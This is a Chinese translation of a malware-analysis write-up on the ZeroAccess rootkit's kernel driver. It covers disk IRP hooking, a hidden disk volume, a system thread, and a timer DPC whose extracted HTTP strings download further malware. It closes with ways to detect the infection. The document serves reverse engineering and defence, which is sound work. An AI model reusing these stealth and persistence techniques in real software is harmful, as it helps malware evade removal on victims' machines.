原文
ZeroAccess Malware Part 2: The Kernel-Mode Device Driver Stealth Rootkit
章节2: 逆向分析内核模式中的盗取功能驱动
在ZeroAccess病毒逆向分析系列的第二个部分,我们将要分析第一部分时那个用户模式感染代理扔出来的第一个驱动程序。这个驱动的基本目的是要,支撑出一个强健的功能性和组件化的供ZeroAccess恶意软件生长存活的平台。这个rootkit使的是低阶的磁盘访问函数,让它能够创建出来一个新的盘符,完全从受害者系统上隐形,完全从杀软面前隐形。考虑下实际会是什样的情况,某某谁发奋要去删除掉这个rootkit,他格式化了自己的所有的盘符,当然包括操作系统所在那个盘符(比如是C:\),然后重新安装了新的windows。但ZeroAcess在这一波清扫行动下会完美的幸存下来,接着重新安装它自己到新鲜的一份windows中。这对于任何试着攻击ZeroAccess的人说真的是超级沮丧的一条现实。除此以外,我们也会调查分析下Rootkit军团内部广泛使用的IRP Hooking过程,其用处是规避开检测行为以及对隐藏功能提供的支持。回说ZeroAccess,其灵活选择注入数个系统驱动文件的本事,也让它比其他rookit在无声行动的路上走得更远。在本文的最后,我们将要涉及到如何利用rootkit规则中的漏洞来使用现有实际工具来检测到它存活的踪迹。
首先,我们来报告下当场分析的这个文件的标记数据和hash值:
FileSize: 132.00 KB (135168 bytes)
MD5: 83CB83EB5B7D818F0315CC149785D532
SHA-1: 39C8FCEE00D53B4514D01A8F645FDF5CF677FFD2
没有有效的版本信息。
没有有效的资源信息。
#(必要的补充,在章节1有一个特别的地方是ZwCreateSymbolicLinkObject所创建的符号链接,它把\*和随机产生的那个驱动对应到一起了,因此LoadDriver ( "\*")实际载入的是system32\driver下的那个随机驱动。你也可以从自己的那儿得到实例。只是随机驱动使得它的Hash没有参考价值,可以保证的部分是,代码是一样的。附件包含一个实例,ndiswan.sys)
分析开始前,第一件我们要注意的事情是这个驱动带有调试符号的PE文件,调试符号对我们的反汇编是很有帮助的。另外如果你是用ida分析的话,可以通过载入Tyle Library来提高可读性的,你应该先到type libraries(shift+F11)中把ntddk.h确定这个头文件是被ida使用的,不然导入表的函数的符号结构类型的参数就是没有解析的。
下面跟着的是一张图,是数个代码块之间的执行关系的框架:
在现代高端rootkit中,感染代理在解压和投放出来后的第一个操作是要,把它的存在从用户和杀软的视野中遮盖住。这个驱动程序中的相关部分包含了一批操作,它安装了一个对隐形的支持体系,使它的感染变的非常有弹性
、也几乎不可能清除掉了。当然,简单说它做的事情也就是,把从用户模式的感染代理开始的整个感染过程给完成。
最有可行性和简单的迫近rootkit分析的方法是,直接挂载入执行中的模块。我们将要开启一个内核模式调试器,比方说Syser。在我们现在的情况中,整个ZeroAccess的代码都是位于DriverEntry的(驱动程序的main ()函数)
,我们也将发现数个dispatch流程和系统线程,它们会制造一些非线性执行的代码流。
让我们从头检查下代码:
如果你还记得,我们称为选中者驱动的那个东西是被感染了的,它还被储存到了注册表中了,它的注册表项目还是一个用"点"('.')来开始的。在上面的代码块中,我们看到了驱动在检查这个注册表键。接着下面,你可以看见
ResultLength,一个属于OBJECT_ATTRIBUTES 结构元素的变量名,结构是用来设置属性的,而同一个结构,可能会有数个的对象都使用它。我们接着分析样本:
我们看到OBJECT_ATTRIBUTES 的元素都用NULL值(EAX中)来填充了,里面只除了ObjectName 里会特别的设置成RegistryPath外,然后我们还遇到了二个子函数。第一个函数实现了注册表键的枚举,它又接着删掉了它,并返回了
删除行为的结果。后一个函数完成的是差不多的事情,只是这次删的键是:
\\registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Enum\\root\\LEGACY_*driver_name*
下面我们就看到进去了一个重要的调用:
100037A5 mov Object, eax ; Object = DriverObject
100037AA call sub_100036CA
在这个子函数里面,我们将会看到IRP hooking的流程。
__IRP Hooking__
让我们开始看这块代码:
在此我们碰到了ZeroAccess Rootkit的一个立身根本的功能,闪闪发光亮晶晶的磁盘驱动 IRP Hooking流程。它这样实现的依据: disk.sys是一个大量负责跟硬件交换数据的驱动,每一个操作,OS所处理的所有磁盘储存相关
的都必须通过'Driver/disk。如果你对这句话所描述的情况不是很输没有个严格的认识,这儿有一个虚拟的windows磁盘储存结构图可以帮到你:
原图地址在: http://technet.microsoft.com/en-us/library/ee619734%28WS.10%29.aspx
红色箭头指出的是ZeroAcess活着和工作在的地方,你可以看到这已经是磁盘储存驱动们的结构最底层了。硬件的最接近者,最强劲的rootkit可以存在的地方。ZeroAccess所用的技术是一种大量使用的概念性东西,同时也被
发现是最有效果的了。
IRP Hooking的原理是用rootkit的自定义IRP处理函数替换原始IRP dispatch流程。如果一个rootkit把这hook成功的干出来了,所有的IRP都要受控,要被重定位发往rootkit的会做手脚的代码了。它经常是专门用来监视的,
或许也有隐藏功能以及欺骗机子用户的功能。从概念级别说,rootkit操纵数据的类型可以分为三个最概况的主要行为:
* 当输入的数据是要储存和传输的时候,做的是监视工作
* 当数据是要返回给其他进程时,做的是隐藏工作并且也多跟着对进程使用的函数进行的相应修改
* 假数据返回的时候,做的是欺骗用户的工作。
在我们的例子中,返回的数据是被控制用来掩盖住病毒程序在受害机器的存在和活动。
让我们现在折回到最近一张代码的截图,如你可见的,IRP 处理函数的地址被插进了 Object+ 0x38 的位置(是个DRIVER_OBJECT 结构的一个指针,待会儿再谈其结构),其指向的元素是PDRIVER_DISPATCH MajorFunction。这
是一个保存了驱动的数个dispatch流程指针的数组。数组所使用的索引值是IRP_MJ_XXX,它是对应着各个IRP 主函数的宏。
我们看到原始的 \Disk IRP dispatch 表被填充成了恶意rootkit的dispatch函数。实质的说说,病毒的IRP 处理函数一样需要去处理那个类别数量达到叫所有人有深深印象的 I/O 请求包的,以期能够全部截获住碰到rootkit
核心文件的请求。如果它判断到rootkit文件被访问接触到了,它将要返回一个假冒的结果,而且会自己把IRP标记成完成的状态(STATUS)。
让我们看一下这个整个IRP表都被填充成rootkit函数的代码:
紧跟着的这个函数接受的参数是前面叙述到的object 指针还有个PIRP IRP。 PRIP IRP正是要分派的IRP
。首先,object要先滤过一个ZeroAccess特别关注的驱动,如果两个object匹配了,代码就走向了calls sub_1000292A。
这个子函数也接受一个参数,还是IRP它自身的指针PIRP IRP。从子函数返回后,其返回值直接被本处理函数返回去。sub_1000292A 的内部,我们碰到了另一个看起来就很标致的IRP解析流程,这次的代码处理的内容非常直接
的分成三类:
*访问到ZeroAccess核心文件时的忽悠处理
*电源IRPs
*病毒自己的IRP 请求
作忽悠处理的I/O请求处理起来总是有规范的一个方式,代码的原型看起来总是像:
Irp->IoStatus.Status = FakeFailureStatus;
这之后还会调用IofCompleteRequest 函数来完成IRP。
电源的IRP是通过PoStartNextPowerIrp 来管理的,还有相似的其他几个函数。
结尾的地方,我们到了ZeroAccess自用的IRP通道。因为按照绿色有利的IRP传递,也需要标记出来是哪个进程传递来的请求,所以rootkit对是否为病毒进程的检查也是依此完成的:
Irp->Tail.Overlay.OriginalFileObject
现在,让我们回到主IRP[处理函数。在object没相等的情况中,会先检查下object的CurrentIrpStackLocation 是否为0x16,0x16的情况下,驱动通过调用PoStartNextPowerIrp来处理这个IRP。调用这个函数的直接影响是让
驱动知道了电源IRP已经处理完成了。
对于一个驱动而言,必须在当前的IRP堆栈层次指向的是本驱动的堆栈时调用PoStartNextPowerIrp。调用函数PoStartNextPowerIrp后立即是一个取Irp->Tail.Overlay.CurrentStackLocation 值的操作(这也是
IoGetCurrentIrpStackLocation的未文档化的实现方式)。我们在这后面又碰到一个PoCallDriver把电源IRP发送到驱动堆栈中更低层驱动的函数,它的后边就是退出dispatcher流程了。看完了这条dispatcher的代码,我们接
着看下一条dispatcher程序:
在这儿我们碰到了一个条件跳转。它的跳转需要满足数个条件,其一是对sub_1000273D的调用来返回的NTSTATUS值(#因为STATUS的错误值是大于0x80000000的,所以jge其实是判断是否为标志错误的STATUS),保存了这个返回
值的变量被我们叫做resStatOperation。这个时候,如果那条件跳转判断失败了,我们立即走到了一段结束代码。这儿会设置IRP的IO_STATUS成员,并且用IofCompleteRequest 把IRP标记成完成的。注意,这是对截获的IRP进
行的。#意味着现在是fake的情况。
编译出来这段完成IRP的源码看起来应该会是这个样子的:
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = resStatOperation;
IofCompleteRequest(Irp, 1);
return resStatOperation;
至于那些和隐秘行动、文件隐藏无关的IRP,都是轻而易举的传递给了底层驱动并且是由原始正确的dispatch流程处理的。如你所见的,在这段代码块中,整个分发流程的判断部分基于的是CurrentStackLocation 内的值,#这儿的原文是纰漏的,不仅仅是简单的根据CurrentStackLocation 来处理的,softworm大牛指出问题后也分享了他的分析结果,
如果是读写请求,则取TRANSFER_PACKET.OriginalIrp,在10006F03的调用是个对IO_STACK_LOCATION的回溯, 找到栈顶irpSp->FileObject,构造Irp取文件全路径计算Hash,检测是否读写RK驱动文件,如果是,则对读请求 返回原始数据,写请求则仍然写入RK的东西。
驱动程序开发中的IRP分发,如果没接触过的话,这儿可能有点难以理解,我们就在IRP分发上面也解释一下。
I/O 包(IRP)结构包含了两个部分:
*结构头
*可变数量的局部堆栈
IRP的局部堆栈包含着由主函数和辅助构成函数集合,通常其中的重要部分总是主函数部分,原因是主函数标示出来了一个驱动被IO管理器调用时,对发送过来的IRP有着怎样的dispatch行为。
__IRP Hooking的结束__
现在到了我们卷土重到DriverEntry研究的时候了。
在call sub_10003108 里面我们遇到了一片重要的代码:
特别尤其重要的IoCreateDevice 的参数,用红色箭头标出来的那个.FILE_DEVICE_DISK可以用类似于操作结构的方式创建一个磁盘出来。如果设备创建成功,驱动对象(object)就要被转换成一个临时对象。这样做是因为一个
临时对象可以等下再删除掉,换句说它是可以从设备命名空间中移除的设备,方法是对它进行解引用。ObDereferenceObject 解引用会递减对象的引用计数器减1.如果对象是创建作(在我们的例子里是转换成)一个临时对象的
,当它的引用计数到达0的时候,这个对象就可能会被操作系统给删除掉。
就像你可以在代码中看到的,我们在后面紧跟着就看到了一串字符串:
\systemroot\system32\config\12345678.sav
让我们接着检查下代码的下一段逻辑:
完整的字符串 12345678.sav被当做参数传递给了 call sub_10002F87。在这个调用里面,我们遇到了一点点很弱的代码混淆。解码的算法是相当的简单,可以通过一个XOR+ ADDTION的计算来完成,计算用的key是从一个
windows注册表值中提出来的。
提一下,当在逆向一个内核模式的rootkit时候,在你看到ZwCreateFile的时候,就要检查在这个调用的第四个参数,它是个IO_STATUS_BLOCK 结构的指针。它包含了函数所投递的IRP最终的完成状态,意味着你可以通过它来
判断出文件操作是否已经完成,创建/打开/覆盖/替换/等等的操作。
现在分析到了这么远的地方,我们可以很确定猜到这个随机的-sav文件是被当做一个配置文件来使用的了。这是个扩展用来保存信息的文件,肯定还有一个对于原始属性干净、未感染的系统驱动备份出来。当一个用户或一个
文件扫描器访问到被感染的驱动时,因为ZeroAccess在底层截断了设备驱动,文件将会不动声色的换成原始的一个。这将彻头彻尾的欺骗住任何一个去检查系统驱动的进程。
让我们继续看我们的这段代码。正如你看到的,在这儿rootkit检查的东西正是和上述一样的思路,它把IoStatusBlock->Information 和一个0x2的值做比较。这个值代表的是FILE_CREATE。如果一个文件有FILE_CREATE状态,
则rootkit会调用ZwFsControlCode 给这个文件发送一个FSCTL_SET_COMPRESSION 的控制码。
之后的ZwSetInformationFile 函数的作用是用来改变一个文件对象(file object)的几种文件信息。在我们的例子中,我们的FileInformationClass中放的是FileEndOfFileInformation,修改的是当前文件结束位置的信息,
具体位置是由FILE_END_OF_FILE_INFORMATION 的结构提供的。这个操作既可以用来打断一个文件,也可以用来扩张它的大小。调用者必须带着FILE_WRITE_DATA 标志打开一个文件以让文件结尾可以被设置,标记是在打开文件
的DesiredAccess 参数中设置的
让我们继续看下一段代码:
ObReferenceObjectByHandle 函数提供的是对一个对象句柄访问的验证,同时,如果这个访问是被授权的,它会返回指向对象的结构体的指针。在解引用了我们的文件对象后,通过调用IoGetRelatedDeviceObject我们就能得
到和它相关的设备对象的指针。
若你还记得,rootkit自己的设备驱动是用FILE_DEVICE_DISK建立的,那你应很容易猜到那设备就代表着rootkit要操作的那一个磁盘卷。
就跟你从代码看到的一样,这儿是一个对deviceObj->SectorSize 的引用。
借助于DEVICE_OBJECT 的文档说明,我们可以了解到关于SectorSize 成员的一些信息:
"这个成员储存了卷的每扇区大小,以字节来表达。I/O管理器使用这个元素在中间缓冲被禁止的时候,确定所有的发出的读操作、写操作还有文件位置设置操作的内容都是对齐着的。在创建一个设备对象时,系统默认的每扇
区字节被默认使用。"
DISK 的结构将服务于rootkit,并提供给rootkit一个简便够用的方法来管理它的文件,也即是,它可以把自己的那个rootkit设备当做一个普通磁盘来使用。
在这儿如果你回头去看一下,这个驱动的DriverEntry 开始部分代码的话,会发现我们有遇到一个'.'字符的检查,找到的话就按照我们上面所跟踪的流程来执行,但找不到的时候,代码的执行就跳到下面的最后一片代码了:
上面的一段完全注释好了的。EBX指向的字符串是随机选择的那个系统驱动,call sub_10002F87从一个注册表键中折腾出来一个"Snifer67"的字符串。下面你可以看到一个我们改名做HashCheck的汗水。它需要三个参数,
HANDLE SourceString, int, PULONG HashValue:
如果hash效验出错了,就跳转到call sub_100036E9结束掉驱动的初始化,里面主要的是把MDL释放的操作。没出错的话,代码的执行就重定向到call sub_100022C3中了,其时如下所示:
我们在sub_100022C3遇到的这个东西是一个内核模式和用户模式之间互动的方法,叫做内存共享。借助内存共享,可以把内核内存映射到用户模式重。有二个常用的用来利用内心共享的技术,它们是:
*共享对象和共享映射(view)
*映射内部缓冲
我们早就见过Section Object怎么在用户模式工作了,在内核模式中概念是没改变多少的。改变的是这次我们要处理的是MDL管理的内存了,我们还需要些额外的安全检查,因为在内核和用户空间之间共享可能会成为一个非常
危险的行为。在打开一个Section后,通过ZwMapViewOfSection来建立一个映射。我们假设你现在很想要知道这个Section是在哪儿打开了,那么一个快速的查看方法就是打开句柄表来看看。要打开它,第一步就是定位到句柄
是在哪儿储存的。简单的把你的调试器的内存窗口设置到现实ZwOpenSection的SectionHandle 参数即可。
打开一个Section如果成功了,在内存中你将可以看到对应的句柄,与此同时我们还可以查询出关于这个句柄的更详细更多信息。你的调试器的语法可能是:
Syser的: handle handle_number
WinDbg的: !handle handle_number ff
这儿是一个WinDbg的输出样例:
> !handle 1c0 ff
Handle 1c0
Type Section
Attributes 0
GrantedAccess 0×6:
None
MapWrite,MapRead
HandleCount 22
PointerCount 24
Name \BaseNamedObjects\windows_shell_global_counters
Object Specific Information
在我们的情况中,是在之前随机选中的那个驱动打开的Section Object和映射。这儿有一点很关键要搞清楚,ZwMapViewOfSection 映射到用户空间时,是映射到特定一个进程的内存空间中的。把驱动的映像(view)映射到系统
进程中,可以避免用户进程篡改内存的内容,而且也让它只能在内核模式访问。
现在让我们接着看下一个call里的代码:
MmAllocatePagesForMdl 函数申请一片用0填充的,未分页的,物理内存页面给一个MDL。若申请成功了,在在ESI中我们就得到了MDL的指针,MmMapLockedPagesSpecifyCache 使用它来映射物理内存页面,同时允许调用者设置
所映射内存的缓存方式。参数BaseAddress 指定了把MDL映射到的用户地址的开始位置。当这个参数为NULL时,系统将会选择映射的开始地址。EBX中包含的是映射页面后基地址的返回值。在这的后面,是一个标准的memcpy,
反汇编器已经在截图中注释好了。
这个调用的返回值是true/false,返回值是由ZwMapViewOfSection的成功和失败来决定的。
有一个函数失败了的话,代码的执行就回跳转到MDL清理函数的部分。清理掉之前所述的那些MDL内存,然后退出驱动的初始化。全都成功的时候,我们就航行到了这个驱动的下一片区域了。再一次的,让我们澄清下全部的这
些在这个随机选中的驱动中进行的操作都是为了一个目的,为了给ZeroAccess作者所交付过来的病毒们接种,还有确保rootkit在任何一种清理和杀毒操作下幸存下来
让我们阅读下一段代码吧:
这一块满含病毒逆向工作者感兴趣的函数。让我们先把第一个call打量一番,call sub_10002D9F,采用了一个之前在分析映像文件时已经接触过了的SourceString。进一步的分析如下所示:
你应当可以理解这一段代码是在干什么,它和之前看过的内存共享映像文件的流程是相当类似的。这一次SectionObject 是使给了随机选中的那个驱动。(#和上面的映射连接了)
现在让我们开始研究第二个调用的内容吧:
这是一片很有意思的代码。ObReferenceObjectByName 是一个未文档化的内核导出函数,其声明格式如下:
NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName(
PUNICODE_STRING ObjectName,
ULONG Attributes,
PACCESS_STATE AccessState,
ACCESS_MASK DesiredAccess,
POBJECT_TYPE ObjectType,
KPROCESSOR_MODE AccessMode,
PVOID ParseContext OPTIONAL,
OUT PVOID* Object);
这个函数接受一个对象的名称作参数,然后返回一个指向对象结构的指针,同时修改引用计数加一,想要得到的对象的类型是由第五个参数说明的( POBJECT_TYPE )。在我们的实例中,它会是IoDriverObjectType
ObReferenceObjectByName 是一个很便利的函数,在rookit里已经广泛应用于盗取对象和在IRP的 Hooking中来调用函数了。对照实际情况,我们有发现一个盗取对象的意图。你可能还记得在我们的分析中早就发生了一个IRP
Hook了。rootkit据此函数能够查找到一个驱动所对应的驱动对象结构(DRIVER_OBJECT)的内存指针,接着它就可以用来访问、检查、修改这个驱动的结构了。
来,让我们看一段没注释的内容。我们想给你展现WinDbg 加上-b选项时的输出,以及DRIVER_OBJECT的结构:
0:001> dt nt!_DRIVER_OBJECT -b
ntdll!_DRIVER_OBJECT
+0×000 Type : Int2B
+0×002 Size : Int2B
+0×004 DeviceObject : Ptr32
+0×008 Flags : Uint4B
+0x00c DriverStart : Ptr32
+0×010 DriverSize : Uint4B
+0×014 DriverSection : Ptr32
+0×018 DriverExtension : Ptr32
+0x01c DriverName : _UNICODE_STRING
+0×000 Length : Uint2B
+0×002 MaximumLength : Uint2B
+0×004 Buffer : Ptr32
+0×024 HardwareDatabase : Ptr32
+0×028 FastIoDispatch : Ptr32
+0x02c DriverInit : Ptr32
+0×030 DriverStartIo : Ptr32
+0×034 DriverUnload : Ptr32
+0×038 MajorFunction : Ptr32
这代码挺好理解的。从基地址加上一个额外的值,就可以指到想要的DRIVER_OBJECT元素,蓝色标出来的几项是rootkit替换了的。
要是看看\Driver\Disk的最后一项的话,我们可以对蓝色有一个更清晰的认识的(你可以通过一个进行中的调试活动来查看)。
在现在分析的函数最后面,它又调用了个ObfDereferenceObject,其目的是解引用一次驱动对象,前面对ObReferenceObjectByName的调用会修改引用计数。我们想要在这特地表示一下的是,ObDereferenceObject 中的"f",
这个"f",是指它是一个优化了的未文档化的版本,在对它的调用前面,我们并没有看到典型的函数调用入参过程。它是一个fastcall的调用约定的函数。
眼前让我们继续看下一个调用吧:
KeInitializeQueue 初始化一个队列对象(queue object),用来给线程按序等待和处理信条的。就在KeInitializeQueue其后,我们马上看到在一个对象解引用,还有一个调用PsCreateSystemThread, 创建运行在系统进程中
的系统线程,当然,这个函数它也返回一个线程句柄的。可以观察到创建调用的最后一个参数压入的是盗取的驱动对象的StartContext,这个参数是提供给线程开始执行时入口的单个参数。
这样我们就遇到了一个对线性代码执行流程的打断,我们需要在StartRoutine 下一个断点,以可以让调试器捕捉住这个系统线程里发生些了什么。
__系统线程分析__ 让我们请点出这个系统线程的代码做了些什么:
就像下面的DPC(Deferred Procedure Call),这系统线程是服务给网络传输的。
__系统线程分析的结束__
现在我们到了DriverEntry代码的最后一片了,一个IoAllocateWorkItem 被调用到了,这个函数申请一个工作项(work item),它的返回值是一个指向IO_WORKITEM 结构的指针。
一个驱动需要延迟执行的过程的话,它可以用工作项来实现,工作项包括一个驱动回调过程的指针,这可以一个执行先等待一个信号。驱动把工作项插入队列,其后一个做工作的系统线程把工作项从队列删除,线程还可以选
择性运行驱动的回调过程。系统也负责维护这些系统线程的线程池,具体是一个系统线程一次一个工作项的分配。
这块有趣的是,DPC的启动处理是需要一定长度的进程时间,或是进程进入一个阻塞型的调用才行,但它也是可以委派给一个拥有一个或多个工作项的系统线程的。当一个DPC在运行时,所有的线程都被从运行中阻断了。负责
处理工作项的系统工作线程运行在的IRQL==PASSIVE_LEVEL。所以在工作项的处理中也是可以包含阻塞型的函数调用的。例如,一个系统工作线程就可以等待一个调度用对象(dispatcher object,如KeWaitForSingleObject)
接着分析后面的,如果IoAllocateWorkItem 返回了NULL值(当没有足够资源了的时候这就会发生),执行会直接跳转到下面的IoCreateDriver,否则则会安装一个内核计时器(Kernel Timer),并且会调用起一个DPC。让我们来
看看具体的这儿的一段代码实际是什么。
KeInitializeTimer 填充KTIMER 结构,调用成功的KeInitializeDpc则创建一个自定义的DPC,最终KeSetTimerEx 设置在一个绝对或相对间隔后置位的时间对象。
BOOLEAN KeSetTimerEx(
__inout PKTIMER Timer,
__in LARGE_INTEGER DueTime,
__in LONG Period,
__in_opt PKDPC Dpc
);
实质性的,因为我们是存活了一个DPC,所以整段上述流程就因它而成了一个经典的CustomTimerDpc (自定义计时器的DPC)安装过程,这个DPC会在时间对象的间隔触发后执行。
对我们而言,这儿发生的事就是另一个对于线性代码执行流程的打断,来源是由设备驱动调用的KeInitializeDpc。DPC提供了打断进当前运行中的线程去执行的能力(在我们的实例中是计时器的触发),同时它的能力还有让一
个过程在IRQL==DISPATCH_LEVEL的执行。 DPC可以通过在KeInitializeDpc的参数DeferredRoutine 指针处设置一个断点,来让调试器可以跟踪到它。
__DPC流程的分析__ 这是DPC安装时设置的地址的核心指令:
我们需要继续查看由IoQueueWorkItem 的参数所指向的WorkerRoutine。先越过不必要的细节们,直接对WorkerRoutine进行简单阅览,过程中我们会发现RtlIpv4StringToAddressExA 函数。它的作用是转换一个字符串的IPv4
地址和端口数字到一个二进制化的IPv4地址和端口。借于IDA的名称窗口的CrossReferences(交叉引用)查看DPC的WorkerRountine,我们可以看到下列的字符串:
\Device\Tcp
\Device\Udp
db ‘GET /%s?m=%S HTTP/1.1‘,0Dh,0Ah
db ‘Host: %s‘,0Dh,0Ah
db ‘User-Agent: Opera/9.29 (Windows NT 5.1; U; en)‘,0Dh,0Ah
db ‘Connection: close‘,0Dh,0Ah
还有
db ‘GET /install/setup.php?m=%S HTTP/1.1‘,0Dh,0Ah
db ‘Host: %s‘,0Dh,0Ah
db ‘User-Agent: Opera/9.29 (Windows NT 5.1; U; en)‘,0Dh,0Ah
db ‘Connection: close‘,0Dh,0Ah
这DPC是实现的是从TDI(Transport Data Interface 数据传输层)访问网络的功能,这是立马可以明白的事实,因为它里面使用了TDI提供者 \Device\Tcp 和 \Device\Udp。这DPC是要下载来另一个病毒文件的:
\??\C2CAD972#4079#4fd3#A68D#AD34CC121074\
Vulnerabilities in the ZeroAccess Rootkit.
每一个rootkit都有比其他的更强一些的部分。在我们的例子里ZeroAccess rootkit在文件系统上的功能非常出众。当逆向工程病毒到现在这个程度的时候,我们就发现了这个强劲结构里的一些可以利用的薄弱之处。表现就
是我们注意到了一些常见的感染了rootkit的特殊情况.
在这个驱动中最不隐蔽的部分是:
*系统线程
*内核计时器和DPC
*未定的原始系统模块
让我们从一个调查人员的角度来看看DPC注入。一个DPC的存在,除了一个简单的由KDPC结构定位出来的,保存着回调指针的LIST_ENTRY 结构外,就没别的了。这个结构是一个DEVICE_OBJECT结构的元素,所以一个简单的方法
是检索出这个驱动对象,并浏览进去定位到存在的注册了的DPC过程。为了进行这个检索,我们可以使用KernelDetective 工具,它真的是非常方便在内核进行鉴定调查的一个好工具。
DPC还和一个时间对象是相关联的,所以我们还可以枚举出所有的内核计时器:
正如你见到的,对应的计时器就是可疑的,因为它跟一个无名称的模块关联到一起了,时间隔周期也对应之前在截图上见过的一个。把DPC指向的代码往下滚动些,我们就确信了ZeroAccess的存在。
像你记得的,这个驱动还通过PsCreateSystemThread创建了一个系统线程。这个操作看起来是极其明显的,因为它创建的是一个系统进程里的对象。系统进程的地址空间是初始化为空的,里面也是拿来映射系统的,它还从系
统初始化进程上继承到了它的访问令牌和其他的属相,系统进程还特殊在创建时有的是一个空的句柄表。
所有的这些,都意味着查找一个rootkit时,你也可以把系统线程的情况作为检查的一部分。它的对象是结结实实的好找和好枚举;我们可以用Tuluka(http://www.tuluka.org/)工具来快速发现可疑的系统线程。
__DPC过程分析的结束__
最终的,在安装CustomTimerDpc的之后,我们前进到了整个驱动的最后一片代码,也即调用到IoCreateDriver 的地方。
这是另外一个未文档化的内核导出的函数:
NTSTATUS WINAPI IoCreateDriver(
UNICODE_STRING *name,
PDRIVER_INITIALIZE init ) ;
这个函数为一个内核中的没被载入成驱动的组件提供使它可以创建一个驱动对象的功能。如果这驱动对象的创建成功了,函数参数中的初始化函数就会被用和传递给DriverEntry的参数一样的调用到。
所以,我们接着转进新的DriverEntry 过程。
__New DriverEntry__
这儿是新的DriverEntry的代码:
通过ZwOpenDirectoryObject 打开了对象目录(object directory),随后申请了一块Pool内存,这块内存将被用在保持ZwQueryDirectoryObject的输出:
在这块代码中,rootkit在对象目录中循环,而且在每个迭代都组成一个下面格式的字符串:
\\device\\ide\\device_name
继而用IoGetDeviceObjectPointer从对象名称枚举出一个DEVICE_OBJECT的指针。凭其和元素的关系这个指针给了我们下几个元素:
DeviceObject = Object->DeviceObject;
drvObject = DeviceObject->DriverObject;
ObfReferenceObject(DeviceObject);
ObMakeTemporaryObject(DeviceObject);
ObfDereferenceObject(Object);
这儿,我们同时拥有设备对象(DeviceObject) 和驱动对象(DriverObject)了:
IoCreateDevice创建对应的设备对象(Device Object),随后验证是否DeviceObject->DeviceType 对应设备的类型是否为一个FILE_DEVICE_CONTROLLER。若是,会执行之前说过的对象盗取流程。
概况的说上面的代码,就是rootkit搜索过设备的堆栈,并把负责处理受害机器的IDE类型设备给选取出来。
IDE设备是由atapi驱动创建的。下面插图中的前二个设备是用给CD和硬盘的。后二个才是与Mini-Port驱动协同工作的控制器,这个也是为什么ZeroAccess要特别寻找FILE_DEVICE_CONTROLLER类型的设备(\idePort1和
\idePort0)
上面的代码说明,ZeroAccess不仅仅要在disk.sys中添加设备,还必须在atapi.sys的堆栈中添加设备来实现它的盗取功能,
让我们现在查看下设备树,并解剖出ZeroAccess的感染对驱动和设备树的改变:
我们拿到了ZeroAccess Rootkit感染的一部分最重大证据了,我们发现了二个Atapi DRV实例的存在,其中的一个还有未命名设备的存在。这个作风也是很宽泛的一批rootkit所有的。同时,这个输出也完全的跟上面分析的驱
动代码指令匹的工作流程配得上。
在第二个atapi.sys实例中,我们发现了一些不那么明显的rootkit踪迹。我们看到二个新的属于atapi驱动的设备:
* \PciIde0Channel1-1
* \PciIde0Channel0-0
这儿,我们遇到了另一个盗取对象的例子,也是为了文件系统的隐藏而作的IRP Hook,只是,这一次是基于\Device\PCI的。
而分析完它,就将完成我们第一个驱动的分析过程,在接下来的章节3中,
我们来逆向分析内核模式的设备驱动注入 >>
上传的附件: